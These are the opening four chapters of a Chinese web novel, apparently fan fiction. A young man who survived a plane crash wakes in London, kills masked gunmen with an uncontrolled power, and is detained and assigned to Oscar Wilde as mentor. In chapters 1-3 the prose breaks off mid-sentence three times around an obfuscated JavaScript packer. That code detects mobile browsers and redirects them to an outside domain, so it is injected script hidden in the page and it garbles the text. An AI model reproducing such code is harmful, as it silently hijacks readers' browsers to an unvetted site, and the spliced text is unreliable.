《在钟塔侍从当公务员》 1. 第1章 [XXXX年X月X日,CA934航班在飞越北冰洋上空时遭遇强烈气流,随后失去联系。搜救队在冰海中找到了零散的机翼碎片。事故调查结果显示,机上127名乘客和11名机组人员全部遇难。] 意识回归时,茧一眠感觉太阳穴一阵剧痛。 他艰难地睁开眼,发现自己正躺在一条昏暗的巷子里。几个衣衫褴褛的流浪汉正在翻他的口袋,其中一个甚至试图扯下他的衣服。 “WOC!你干嘛!”茧一眠猛地坐起来,拼命抓住自己的衣服。 流浪汉们被这突如其来的变故吓了一跳,嘴里嘟囔着什么,慌忙后退。茧一眠模模糊糊听懂了几个英文词:"bloody"、"mental",都不是什么好话。 看清了样貌,都是些外国人。 "F○ck off!"茧一眠突然爆发,冲着那群人大吼。这是他在美剧里学到的为数不多的狠话。流浪汉们骂骂咧咧地退开了,消失在巷子的阴影里。 茧一眠靠在墙上,大口喘着气。衣服还在,但是口袋已经空了,手机、钱、钥匙都不见了。该死,那些家伙动作真快。 巷子外传来熙攘的人声。他扶着墙壁站起来,太阳穴突突地跳动。记忆像是被打碎的玻璃,只剩下零星的碎片:飞机、气流、警报声、刺眼的白光……然后就是一片空白。 发生了什么,他到底为什么在这里? 巷子尽头传来喧嚣的人声。 茧一眠深吸一口气,朝声音的方向走去,刺眼的阳光让他眯起眼睛,拐角处,一个崭新的世界突然展开—— 砖红色的维多利亚建筑,黑色铸铁栏杆,红色邮筒。街道两旁的金发碧眼的白人男女,零星几个印度裔面孔,商铺的招牌全是英文字母,连个汉字的影子都找不到。 街上人来人往,叽叽喳喳的英式英语充斥着耳膜。 等等,这是……英国? 街对面的店铺橱窗映出他的倒影——少年有着一张近乎完美的脸庞,眉型清秀,鼻梁挺直。只是那头黑发微微有些长了,发尾蹭到衣领,几绺碎发垂在眉间。琥珀色的眼睛很亮,还带着学生气的青涩,让人一眼就能看出他涉世未深。 看起来和平常没什么两样,既没有变得苍老,也没有变得年轻,就是原原本本的他。但是他为什么会在这里? "Excuse me…"他拦住一个路人,"Where…where is this place?" 那人停下脚步,皱眉打量着他:"You''re in Camden Town, North London." 茧一眠的头还在隐隐作痛,卡姆登?伦敦的卡姆登区? 对方操着标准的一口标准的英式发音,"Are you lost? You need help?" 茧一眠学的一直是美式发音,男人的英式口音让他一时难以理解,只能盯着对方的嘴型努力分辨。 "Yes…不,no…" 想到钱包、手机、护照全都不见了,他的舌头打结,改口道,"I mean…yes,我需要帮助。" 西装男人皱起眉头,大概明白了怎么回事,这个东方人大概是从机场出来后被抢劫了,他掏出手机。 "Were you robbed?被抢劫了?" 他放慢语速, "Rob…robbed?" 茧一眠重复着这个词,突然意识到对方在问什么。"Oh!Yes,那些流浪汉…vagrants…they……" 他用手比划着,正想解释,街道另一端突然传来一声震耳欲聋的爆炸。气浪掀起路边的落叶,震碎了两旁商铺的玻璃。茧一眠被气流推得踉跄后退,耳膜嗡嗡作响。 刺鼻的硝烟味道弥漫开来。人群开始尖叫奔逃,西装男人也迅速跟着逃窜,消失在混乱中。 街道另一端,五个蒙面人手持自动步枪大步走来,黑洞洞的枪口对准路过的每一个人。 领头的人高喊着,扣动扳机。 枪声在街道间回荡。 茧一眠靠着身体本能地扑向路边的邮筒后方。温热的液体顺着左臂流下,他这才发现自己的手臂被流弹擦伤。寒冷和疼痛让他的意识开始模糊,但求生的本能却前所未有地清醒。 脚步声越来越近。茧一眠透过邮筒的缝隙看到,其中一个蒙面人正向他的方向走来。对方的靴子踩过碎玻璃,发出令人牙酸的声响。 蒙面人喊道,"e out,or I''ll shoot!" 茧一眠屏住呼吸。二十米,十五米,十米……对方的脚步声越来越近。他知道自己逃不掉了,这个位置,对方只要绕过来就能射击他。 蒙面人的枪口已经对准了他的方向。 那人绕过邮筒,对上了茧一眠的眼睛。就在他扣动扳机的瞬间,异变陡生。 蒙面人的身体突然僵住,紧接着,从内部炸开。血肉横飞的瞬间,茧一眠清楚地看到对方的骨骼都在这股力量下四分五裂。 街道瞬间安静下来。剩下的四个蒙面人停下脚步,难以置信地看着同伴的尸体。然后,他们整齐地抬起枪,黑洞洞的枪口全部对准了茧一眠的位置。 茧一眠靠着邮筒缓缓站起来。他不知道刚才发生了什么,他的左手还在流血,但疼痛感却消失了。 四把自动步枪的保险被同时打开,发出清脆的声响。 然后是血肉分离的声音。 四个蒙面人的身体同时僵住,他们的血管开始一根根爆开,肌肉寸寸撕裂,骨骼碎成粉末。四具尸体几乎是同时炸开。 血腥味铺天盖地地袭来。 茧一眠看着眼前这地狱般的景象,到处都是血迹,而自己正站在这片血色中央。 数名警察从车后跳出,枪口全部对准了他。 "FREEZE! DON''T MOVE!" 数名的警察从车后跳出,枪口全部对准了茧一眠。 他机械地举起双手,脑子里一片空白。有人在大声喊叫,有人在发出命令,但这些声音在他耳中都变得模糊不清。 直到他被压制在地,冰冷的手铐扣上手腕,茧一眠踉跄了一下。 两名警察架住他的胳膊,强行将他按进警车后座。车门关上的瞬间,外界的声音突然变得遥远。 警车开动了。茧一眠木然地望着窗外飞逝的街景,衣服上沾着的血迹已经凝固。 他想到自己还未完成的学业,想到自己悲惨的单身人生,他似乎成杀人犯了,他的人生好像要完蛋了。 …… 金属椅子硌得茧一眠浑身发疼。审讯室的白炽灯明晃晃的。 茧一眠第不知道多少次试图解释,“我真的不知道发生了什么,那些人先开枪的,然后就那样了,我……” 坐在对面的白发警官抬起手,示意他停下。这位警官看起来有五十多岁,眼角已经布满皱纹。 他在办案方面的经验丰富,这次的事件不是警察局能够解决的,他已经第一时间联络了钟塔侍从的大人们。 "We will find out the truth, but someone will dispose of you soon."警官用缓慢的语调说道。 茧一眠一时没反应过来,dispose是什么意思,处置?哪种程度的处置? 他莫名联想到历史课本里西方断头台的插图,脸瞬间变得惨白。 “No, no, I mean…我是说…”他急得从中文切换到英文又切换成中文,两种语言夹杂着往外冒,“那个能力不是我能控制的,我也不知道为什么...” 警官没有听他的话,转身离开,铁门的撞击声在空荡的房间里回响。 与此同时,警局二层的会客室。 查尔斯·狄更斯正在翻阅一份文件。他看起来三十岁出头,身材瘦高,身着一套深灰色西装。棕色的短发微微卷曲,金丝眼镜后是一双锐利的绿色眼睛。 他放下档案,指节修长的手指轻轻敲打桌面,“这男孩似乎连自己有异能都不知道。” 乔治·奥威尔站在落地窗前。他和查尔斯年纪相仿,但看起来会更年轻些,银白色的长发在脑后扎成一个简单的马尾,几绺碎发随意地搭在耳际。 他的右手握着一根镶着红宝石的黑檀木手杖,左手插在口袋里。 “你觉得怎么样?”奥威尔转过身,阳光把他的影子拉得很长。 查尔斯从文件堆里抽出几张照片,“在场人员全部死亡。但尸体状态不是爆炸造成,更像是……”他停顿了一下,“每个细胞都被强行分解了。” 奥威尔接过资料眯了眯眼,“这种程度的异能已经到超越者的强度了。” “问题是他并不会控制。”狄更斯合上文件,“这样的异能者如果放任不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063116|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管,恐怕整个伦敦都会不得安宁。” “所以女王才派我们来。”奥威尔微微一笑。 会客室的门被推开,一个年轻警员走了进来:“两位先生,手续已经办好了。您随时可以提人。” 奥威尔转动手杖,“走吧,让我们去见见这个可怜的小男孩。” …… 奥威尔进入审讯室,铁门在他身后合上。 狄更斯没有进入,而是靠在走廊的墙上,整个审讯室在他的异能[双城记]的作用范围内。 [双城记]是空间系异能,可以将任意空间切割为两个互不相连的区域,并在其中设置锚点,实现空间转换,除此之外,他也可以单独空间内的一切物质进行置换。 他在外面检测着屋内情况,一旦有意外情况就立刻将两人所在的空间隔开。 奥威尔用手杖轻叩地面,走到茧一眠对面坐下。少年低着头,手腕上的手铐在白炽灯下泛着冷光。 “抬起头来。”奥威尔的声音轻得近乎耳语,却带着不容抗拒的压迫感。 茧一眠抬起头,对上了那双瓷蓝色的眼睛。 在他还没反应过来的时候,已经有什么东西已经笼罩了他的意识。 异能[1984]的作用之一,可以对视线范围内的目标施加精神暗示,强迫其说出内心真实想法。 “你叫什么名字?” “茧一眠。” “年龄?” “十八岁。” “来英国做什么?” “不知道……” 奥威尔站起身,皮鞋在地面上擦出轻响。他绕到少年身后,俯身问道:“不知道?那你是怎么来英国的?” “坐航班?”茧一眠的声音里带着困惑。 “航班上发生了什么?”奥威尔顺着他的话继续问下去。 “我记得登机……之后似乎发生了什么?又好像没有?我不记得了。”茧一眠的语气中带着真实的困惑。 在1984的作用下,说谎者会承受巨大的痛苦,而男孩的表情也没有异样,只是单纯的迷茫。 奥威尔停下脚步。 “那你是怎么出现在伦敦街头的?” “不知道。”茧一眠依旧摇头,“醒来时就在那里了。” “街上那些人是你杀的吗?” 茧一眠的眼睛微微睁大,但不是因为说谎,而是因为回忆起那个场景,“他们先开枪的。然后我大概是做了什么……但我不知道我做了什么,我是怎么做到的……” 半小时后,一连串的盘问下来,少年的回答始终没有触发[1984]的副反应。 奥威尔将手杖抵在茧一眠的肩膀上,“最后一个问题,你曾经有使用过异能吗,就是你展现出那种特殊能力。” 茧一眠的眼神很干净,“不知道,以前没有过,直到今天在街上。” “……是吗。” 审讯室内一片寂静,只有头顶风扇转动的声响。 奥威尔在心中拼凑出一幅完整的图景:没有来英国的意愿,可能是被拐卖来的,期间或许遭受过药物控制。但少年逃脱了。只是在这个过程中,不知是因为药物还是精神创伤,他的记忆出现了严重的断层。 “你觉得累吗?”奥威尔收回手杖,语气忽然变得温和。 “嗯,有些累。”茧一眠的眼皮开始打架。 [1984]异能的效果之一——被审问者会在精神暗示下变得疲惫,更容易操控。 “我是乔治·奥威尔,钟塔的异能调查员。我知道你现在很困惑,也很害怕。但是相信我,我们可以帮你。” “帮……帮我?”少年的声音已经带着浓重的鼻音。 奥威尔的手杖在灯光下投下一道细长的阴影,“是的。你现在的处境很危险。没有身份证明,又牵涉了多起命案。” “按照英国法律,我们完全可以将你无限期拘留。但如果你愿意加入钟塔,我们可以给你合法的身份,还能帮你控制那股力量。” 茧一眠迷迷糊糊地点头,倦意已经完全占据了他的意识。 奥威尔满意地看着少年,发动[1984]之间让其陷入沉睡。他转身看向门外的狄更斯,后者心领神会地点头,也撤去了异能。 “你打算怎么安置他?”狄更斯走进审讯室,望着已经睡熟的茧一眠。 “钟塔不是正巧缺异能者吗,就把这小孩收了吧。” 2. 第 2 章 [钟塔侍从]——这个名字来源于英国著名建筑伊丽莎白塔。但现在的钟塔侍从已经发展成了一个庞大的官方性质的异能者管理机构,并隶属于女王,直接对英国王室负责。 钟塔基地最深处的地下三层,是专门关押未登记异能者的区域。 茧一眠被带到了3-07号观察室,这是一间近乎全白的房间。墙壁、地板、天花板都被特殊材料覆盖,连床铺和桌椅都是纯白色的。 从里面看,这就是间普通的单人宿舍。但从外面望进去,整面墙都是透明的。监视者可以清楚地看到房间内的一切活动,而里面的人却毫无察觉。这种单向可视的设计是专门为了方便监控特意准备的。 茧一眠躺在床上,盯着雪白的天花板。这里的条件出乎意料地好——柔软的床垫,暖气充足,甚至还有一个小书架。要不是没有门把手开不了门,他简直要以为这是间高级酒店。 如果这是监狱,那条件还真挺不错。 茧一眠想着,翻了个身。从醒来到现在也不知道过了多久,被送了两顿饭,没见到其他任何人。 观察室外的监控室里,维吉尼亚·伍尔夫正在翻看茧一眠的资料。 女人的一头深褐色的卷发挽成一个松散的发髻,黑色的长裙从脖颈一直垂到脚踝,她并不执着于梳妆打扮,眼角有几道几不可见的细纹,反而衬得整个人愈发忧郁。 “又一个吗……” 通过单向玻璃,她能看到茧一眠正在床上翻来覆去。 伍尔夫拿起桌上的笔记本,拉开仪器台上连接着3-07号房间门的一个开关。 伍尔夫的异能[到灯塔去]可以直接探知他人的意识,但如果目标的意识太过混乱或抗拒,会对她造成精神反噬。正巧不适合于少年的情况,所以她只能采取古老的问卷方式。 白色房间的一面墙突然发出机械运转的声响。茧一眠从床上坐起来,看着墙面缓缓分开,露出一排黑色的金属栏杆。栏杆后是一个半明半暗的隔间,就像监狱里的探视室。之前的饭食也是从这里递进来的。 一位漂亮的姐姐坐在栏杆后的桌前,茧一眠跳下床,走到栏杆前。他太需要一个说话的对象了,再和这些白墙对视下去他就要疯了。 他悄悄嘟囔了句:“终于有人了,我在这里快闷死了。” 女人递来一个同声翻译耳机,在对方戴好后,开口道:“你好,JIAN先生。我是维吉尼亚·伍尔夫。” 维吉尼亚·伍尔夫?茧一眠愣了一下,他的第一反应是写出《到灯塔去》《墙上的斑点》的伍尔夫。 那句著名的“伟大的灵魂都是雌雄同体”便是出自她之口。 只是那位作家早就过世了,但是仅此一面,对方展现出忧郁气质,还有那双湖水般的眼睛,都和他在文学课本上看到的照片太过相似。 茧一眠内心奇怪,表面上不动声色,只是轻轻“哦”了一声。 伍尔夫翻开面前的文件夹,“今天我们要进行一个标准的心理评估。这是所有异能者必经的程序。” 茧一眠:“心理评估?我觉得我挺正常的,没有心理问题啊?” 伍尔夫:“正常与否不是由当事人判断的。比如,您并不知道自己为什么会出现在英国,不是吗?” 茧一眠从话里抓住一丝机会,有些期待地问:“所以我是怎么来的,黑户?会被遣返回国吗?” “并不会,我们会处理这些问题。”伍尔夫打断他,“我们开始今天的评估吧。首先,你如何看待权力与秩序的关系?” 茧一眠愣住了,“啊?这是心理测试题?” “是的。请回答。”伍尔夫的声音变得严肃。 茧一眠:“这……我觉得秩序是必要的,但权力需要有限制。” 伍尔夫在纸上记录着什么,继续问道:“如果有一个更高级的组织,能够管理和规范所有具有特殊能力的人,你认为这样好吗?” “有纪律的话……算是好事吧。” 伍尔夫说着,又抛出一个问题,“如果有人威胁到组织的安全,你会如何处置?” “按照法律来,我没有权力处置人。” 问题一个接一个。从简单的选择题到复杂的情境题,与其说是心理测试,倒更像是某种立场的确认。 茧一眠一边谨慎回答,一边也试图和伍尔夫搭话打听更多信息。 “那个,这里是什么地方?” 伍尔夫难得回应了他的问题,“这里是钟塔侍从本部,负责训练和管理异能者的区域。” 钟塔侍从?这个名字莫名熟悉,好像在哪里看到过或者听说过。 茧一眠:“那我……?” 伍尔夫合上文件,“如果测评合格,你会正式加入钟塔侍从。在此之前,你需要接受一系列的训练。” “我能拒绝吗?” 茧一眠可是地地道道的华国人,莫名其妙加入一个英国的组织很奇怪啊? 伍尔夫平静地看着他:“异能者不分国界。而且,你现在没有选择。一个没有身份的异能者,在伦敦街头造成了多人死亡。如果不是钟塔侍从收留你,你觉得会是什么下场?” 茧一眠沉默了。虽然那几个持枪的人不是好人,但他杀了人这件事确实是事实。 “好了,今天的评估到此结束。”伍尔夫站起身,裙摆在地上划出一道弧线。 眼看伍尔夫要走,茧一眠赶紧抓住栏杆,“等一下,你一直说的异能到底是什么?我还不明白?” 伍尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063117|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫停下脚步,“这个问题说来话长。异能的起源、分类、运作机制解释起来很复杂。不如用书面材料来说明。正好你之后也要开始系统学习,稍后,我会准备一份钟塔侍从官方的异能解释报告。” “你的异能导师很快就会来见你。如果无聊,不妨多看看书,总比盯着天花板强。” 墙面重新合上,房间又恢复了一片苍白。房间里又只剩下茧一眠和他在白墙上的倒影。 …… 大约一小时后,茧一眠拿到了伍尔夫口中的异能报告,靠在床头细细阅读。厚厚的文件夹里密密麻麻写满了内容,从异能的基础分类到具体案例。 异能的分类可以分为,攻击性、功能性、辅助型、治疗型、防御型…… 其中比较特殊的有,空间系、元素系、精神系…… 简直像是超能力小说一样。 他机械地翻着页面,直到目光落在最后一页“已知高危异能者名录”这一栏。 维克多·雨果,[悲惨世界],强攻兼强防性异能,使用时会显现出凝聚成的巨大街垒…… 伏尔泰,异能(暂未知,疑似精神系)。 歌德,综合性异能(具体能力待考证)。 弗里德里希·席勒,异能[欢乐颂],强力攻击加精神系…… ?? 茧一眠的大脑突然当机了。就像呆滞猫咪,瞳孔里倒映着银河系,带着满脑子的“????”在宇宙中漂浮。 他放下文件,揉了揉眼睛,又重新看了一遍这几行字。没错,确实写着这些名字。 雨果、伏尔泰、歌德、席勒……这不都是历史书上赫赫有名的文豪吗,怎么会和异能扯上关系? 一个荒谬的想法在他脑海中闪过。他曾经看过一部动漫,里面就是把文学家们设定成异能者。比如中岛敦的异能是月下兽,太宰治的异能是人间失格…… 等等! 茧一眠猛地坐直了身体。他想起钟塔侍这个名字为什么这么熟悉了?动漫里,英国确实有一个叫钟塔侍从的异能组织。 他的心跳开始加速。如果这是真的,那么一切都说得通了。为什么会遇到维吉尼亚·伍尔夫,为什么这里会有异能者,为什么那些文豪都变成了异能使用者—— 茧一眠跳下床,冲向书架。他需要确认一件事。翻了几本书后,他找到了一本印着年份的杂志——1989年。 他靠在书架上,感觉双腿有些发软。如果这一切都是真的,那么他不是来到英国,而是穿越到了一个虚构作品的世界。 好消息,他知道主线剧情。 坏消息,主线似乎还没开始…… 他貌似正处在一个历史的空白期,一段连原作都没有详细描写过的时期。 3. 第 3 章 钟塔侍从的圆桌会议室位于新议会大厦最高层,圆桌边围坐着英国最顶尖的异能者们,每个座位前都放着一块刻有职位的银色铭牌。 威廉·莎士比亚坐在正中位置,他是钟塔侍从总司令,是仅在王室之下的最高指挥官; 右手边是阿加莎·克里斯蒂,钟塔侍从的近卫骑士;奥威尔,真理部情报处长;狄更斯,调查部主任;评估管,伍尔夫;训练总监,济慈。以及众多异能者。 所有人都在等着莎士比亚开口说话。 莎士比亚翻看手中的报告,终于开口道,“关于那个东方少年,我们需要为他安排一个合适的导师兼搭档。” 奥威尔将一份档案推到桌子中央:“根据监控记录,他的异能具有强攻击性,能在瞬间分解物质。” “有他的照片吗?”勃朗特三姐妹中最小的安妮问道。 奥威尔挥了挥手,圆桌中央的投影仪亮起,显示出茧一眠的影像。清秀的东方面孔引起了一阵小小的骚动。 安妮:“我可以接手,我一直对华国文化很感兴趣,而且——” 阿加莎冷冷地打断她,“这不是在挑选宠物,我们需要能够控制住他力量的人。” “好吧。”安妮吐了吐舌头,惹来了她两位姐姐桌下的踢脚。 威廉·萨克雷皱眉,“问题是我们该如何控制他。他还不能完全控制自己的异能,把这种不稳定的力量放在谁手里都是个隐患。” 他们挑选的人至少要符合三点: 第一,要能压制住对方。 第二,适合双人作战。最好的情况是,在实战中,两个人的能力要能够互补。 第三,必须有足够的判断力和教导能力,能把一个危险的生手调教成合格异能者。 乔治·拜伦摊开手:“这么一说,人选范围就很小了。控制类异能,有教导经验,考虑到是华国人,需要能跨文化交流,还得能随时制服他……” 托马斯·哈代补充,“而且还得是单独行动的异能者,已经有固定搭档的都不在考虑范围内。” 众人陷入沉思,符合标准的有0个人。 大多数战斗型异能者缺乏教导经验,而善于教导的又往往作战能力不足。 狄更斯打破沉默:“我有个建议,王尔德怎么样。” 所有人都用“你疯了吗”的目光转向他。 狄更斯继续解释道:“王尔德的异能[画像]发动条件严格,需要事先绘制肖像,在突发情况下难以应对。” “他缺乏速攻手段,正好和这个新人互补。一个负责控制,一个负责战斗。” 见众人无动于衷,狄更斯继续补充,“更重要的是安全性,一旦王尔德画下他的肖像,这个男孩就会受到钟塔的完全控制。” “不过王尔德那种性格,他不喜欢搭档共同执行任务吧……”塞缪尔·柯勒律治欲言又止。 威廉·萨克雷轻哼一声:“他把自己当成了大艺术家,哪里像个正统的异能者。” 附近的人给萨克雷使眼色。 这个人怎么一点也不会看气氛,搞艺术怎么了,莎士比亚大人也是搞艺术的,人家班余时间写了好几部话剧呢,都挺火呢。 除此之外,王尔德因为爱尔兰人的敏感身份,一直游离在钟塔侍从边缘,连例会都很少参加。 这人性格散漫,在座的都不确定他能不能当好一名教导者。 但现实就是一个萝卜一个坑,他不想干的事情多了,他当初还不想加入钟塔侍从呢,最后不是到底给他撬过来了。 所以最后众人的建议是,不管王尔德的意愿,直接把任务派给他,谁让他不来参加会议。 莎士比亚环视一周,见圆桌上的其他人纷纷点头,确认没有异议后,正式宣布:“就这么定了。通知奥斯卡·王尔德,让他即刻来钟塔侍从总部。” 王尔德庄园的画室里,阳光透过玻璃窗洒在画布上。 奥斯卡·王尔德正专注地调着颜料,他穿着一件松垮的丝绸睡袍,铂金色的卷发随意地披在肩上。 他最爱的是那扇连通玫瑰园的拱形门。他特意把画架摆在能看到花园的位置。现在正值花季,红色的玫瑰一直从门廊蔓延到远处的围墙,就像一片流动的火焰。 电话铃声突兀地响起。 “Lord Wilde,总部要求您立即返回。”是钟塔的联络员。 王尔德头也不抬,继续往调色盘里挤颜料,“告诉他们我在完成一幅重要的作品,艺术不能被打断。” 十分钟后,电话又响了。这次是狄更斯。 “王尔德,这是紧急任务。” 王尔德轻笑着,“哦,查尔斯。在我的字典里,没有什么比完成一幅画更紧急的事。再说了,你们开会的时候也没见叫我。” 随后他就将电话挂了。 他对钟塔一直是这种态度,他心里清楚,钟塔把他当成什么。一个需要利用但又难以驾驭的异能者,一个爱尔兰人,一个行为不检点的艺术家。这种若即若离正合他意,至少能保持一定的自由。 第三个电话来了,这次他刚拿起听筒,就听到阿加莎·克里斯蒂冰冷的带着怒气的声音: “奥斯卡·王尔德,我已经派司机去你家楼下了。如果十分钟内看不到你,你知道我的[无人生还]会让你那引以为傲的玫瑰园变成什么样。” 王尔德的手顿了一下。 阿加莎·克里斯蒂从不开无意义的玩笑,她的[无人生还]是指定范围的生物灭绝型异能,能让最美丽的花园在瞬间化为焦土。 啊啊,真是野蛮的威胁方式。 “好吧,好吧,让我换件像样的衣服,你也不希望我穿睡袍出现在钟塔总部吧。” 九分五十秒后,王尔德掐着点地踏入黑色轿车。他挑了件深孔雀蓝的马甲,配着一条刺绣领巾和一枚玫瑰胸针。白色衬衫袖口露出来,就连他随手披在肩上的那件米色大衣都经过精心挑选。 他靠在真皮座椅上,“这次又是什么非我不可的任务?” 司机递来一份档案:“一个刚觉醒的东方异能者,需要您担任他的导师和搭档。” “搭档?”王尔德挑眉,“他们知道我最讨厌和人搭档。一个人工作多自在。” “据说这是莎士比亚大人的命令。” 王尔德翻开档案,看到茧一眠的照片时愣了一下。在仓促拍摄的证件照里,都很少能看到这样眉目清秀的面孔。 最打动他的是那双眼睛,琥珀色的瞳孔里藏着一丝茫然,连那微蹙的眉头也恰到好处地传达出一种困惑的美感。 王尔德最喜欢美丽的事物,在看到茧一眠的照片后,一改刚才的不悦。 只是档案薄得可怜,总共只有三页纸,所有该有的记录,护照信息,入境记录,统统都是空白。 这和平常钟塔那些厚得像字典的调查档案完全不同,调查部终于嫌压力太大罢工了? 到达总部后,他先是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063118|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了真理部情报处找奥威尔。 王尔德把薄得透光的资料拍在奥威尔的办公桌上:“你们就给我这个?连他是怎么来英国的都没查到?” 奥威尔放下手中的钢笔,回答得干脆,“查不到,就像他凭空出现一样。我们所有的情报网都一无所获。” 王尔德:“包括你的异能?” 奥威尔双手合拢:“包括我的异能——用[1984]审问过,但他的记忆似乎出现了断层。” 王尔德有了兴趣:“那人是你从哪捡来的?” [1984]可是强控制兼精神系异能,之前还有传闻,他的异能可以监听到整栋钟塔大楼的对话,后来被钟塔侍从的大家戏称为“老大哥在看你”。 但王尔德觉得那不是个传闻,[1984]是真的能做到。 奥威尔:“伦敦街头。准确说,是他自己‘出现''的。一场恐怖|袭击,然后我们发现了他。” “然后就把这个烫手山芋扔给我?” “你是最合适的人选。” 王尔德摆摆手,“得了吧,我知道你们在打什么主意。”[画像]能力一旦完成,人就是想跑也跑不掉了。 离开真理部,王尔德乘坐电梯一路向下,直到地下三层。3-07号观察室的外墙是一整面单向玻璃,王尔德站在玻璃前,可以看到屋内的情况。 东方男孩坐在房间中央的地毯上。他穿着钟塔侍从统一发放的白色居服,衣服有些大。他盘着腿,书摊在膝上。周围堆着几本英文教材和基础读物。 少年一只手支着下巴,另一只手的手指在书页上缓慢移动,时不时会皱起眉头,露出苦恼的表情。 他的身边还有一个小巧的电子设备,同声传译器把英文转成中文。每当遇到难懂的段落,茧一眠就会停下来,等待翻译,然后眉头舒展开,轻声重复那些单词。 “他在看什么?”王尔德问。 伍尔夫悄无声息地出现:“我给他的异能科普资料。但他的英语水平有限,理解起来很吃力。除了教他控制好自己的异能,你还得帮他提高英语水平。” “真是额外的工作呢。”王尔德撇撇嘴,但语气里并没有抱怨。 相反,他的目光一直停留在玻璃那边的身影上。 玻璃那边,茧一眠突然抬起头,像是感觉到了什么。 他的视线正好落在王尔德所在的位置,尽管隔着单向玻璃看不到外面。那一瞬间的对视,即便只是偶然,也让王尔德心头一动。 “我什么时候能见他?”他问。 伍尔夫说,“随时都可以,不过你得先了解一些注意事项。他的能力很危险,而且最好先画一幅他的画像。颜料和画具都准备好了。有了『画像』的控制,安全系数会高很多。” “那就开始吧。”王尔德说着,直接走向观察室的大门。 伍尔夫叫住他,“你可以在这里画。单向玻璃的视野很好。” 王尔德没有停下脚步,而是挥了挥手:“亲爱的伍尔夫女士,要知道,我是一位艺术家。画家和模特之间需要直接的交流,那种无遮掩的视线才能捕捉到真实的神韵。隔着一层玻璃,就像隔着一层雾,怎么能画出完美的作品?” “既然任务已经交给了我,那便全权由我负责了。” “……” 伍尔夫摇了摇头,没再反驳。 他们已经给茧一眠戴上了异能抑制环,就算出点状况应该也在可控范围内,大概吧。 4. 第 4 章 茧一眠正对着一段英文发愁。真是造孽,当初要是好好学英语,也不至于现在这么悲惨。 不过照着他现在苦读的劲头,回国考个四六级应该不成问题。 房门被推开的声音打断了他的胡思乱想。抬头一看,一个高个子男人拎着皮箱走了进来。那人真的很高,至少一米九,站在门口的样子颇有些压迫感。 茧一眠还盘腿坐在地毯上,仰头看着来人,这个角度让他有种自己特别渺小的错觉。 但那人似乎注意到了这一点,顺势在他面前蹲下来,让两人的视线保持平行。这个举动让茧一眠稍微放松了一点。 等看清对方的样子,茧一眠又愣住了。 这人长得也太好看了吧? 浅金色的卷发被梳成辫子,眉毛看起来被修整过,一双翡翠般的绿眼睛格外明亮,眼角微微上挑,给那张脸添了几分慵懒的味道。 男人半倾着身子,手肘支在膝盖上:“你好啊,我是奥斯卡·王尔德。” 茧一眠当然知道王尔德,他写的故事和他自身的故事都家喻户晓。他小的时候还读过王尔德写的童话,只是在他长大之后才明白童话里讲了什么。 不过……这个世界的王尔德是风流倜傥的版本吗?之前见的王尔德图像没有帅成这样啊。 见他东方男孩愣着不说话,王尔德也不着急,就保持着这个姿势等着,手指有一下没一下地轻敲着膝盖。 “呃……你好,我是茧一眠。”茧一眠终于找回了自己的声音。人家都等半天了,再不说话就太尴尬了。 王尔德满意地点了点头,他喜欢美人,更喜欢有礼貌的美人。 他打开被放在一旁的皮箱。皮箱的皮面做工精良,上面还刻着花体字母"C.T",钟塔简写,意味着这是钟塔侍从所有物。 箱子打开后,露出里面整齐摆放的画具——金属颜料管、各式画笔、木质调色板,一应俱全。 茧一眠心里咯噔一下。这架势,怎么看都不对劲。正常人谁会带着一箱子画具来监狱啊? 王尔德说:“从看到你的第一眼,我就有了创作的冲动,让我为你画一幅肖像画如何?” 茧一眠愣住。 认真的,画像?在这个时候,在这个囚室一样的房间里? 有问题,太有问题了。 “你是画家?”茧一眠问。 “是的,我是一名画家。”王尔德说这话时嘴角带着一丝自满的笑意。 茧一眠的大脑飞速运转。在这个世界里,文豪们都成了异能者,有些人的职业不写书了也很正常。况且无论是画家还是作家,都是艺术创作者,倒也说得通。 但是,众所周知——《道林·格雷的画像》是王尔德最著名的、也是唯一的长篇小说。 茧一眠非常怀疑他的异能和画像有关,有些抵触道:“能不画吗?” “恐怕不行,”王尔德已经架好了画板,右手比划着构图的样子,“必须先有一幅画像,你才能离开这里。” 他说这话时脸上还带着笑,茧一眠却冷汗直冒。这下实锤了,绝对是画像异能。 “画完之后……会发生什么吗?”茧一眠忍不住问。 “只要你听话,这就只会是一幅普通的画像。” “……啊。”这是威胁吧。 然而,就算茧一眠知道会发生什么,他背了好几条命案也无从反抗,从进入这个世界开始,他就像是被推着往前走,根本没有选择的余地。 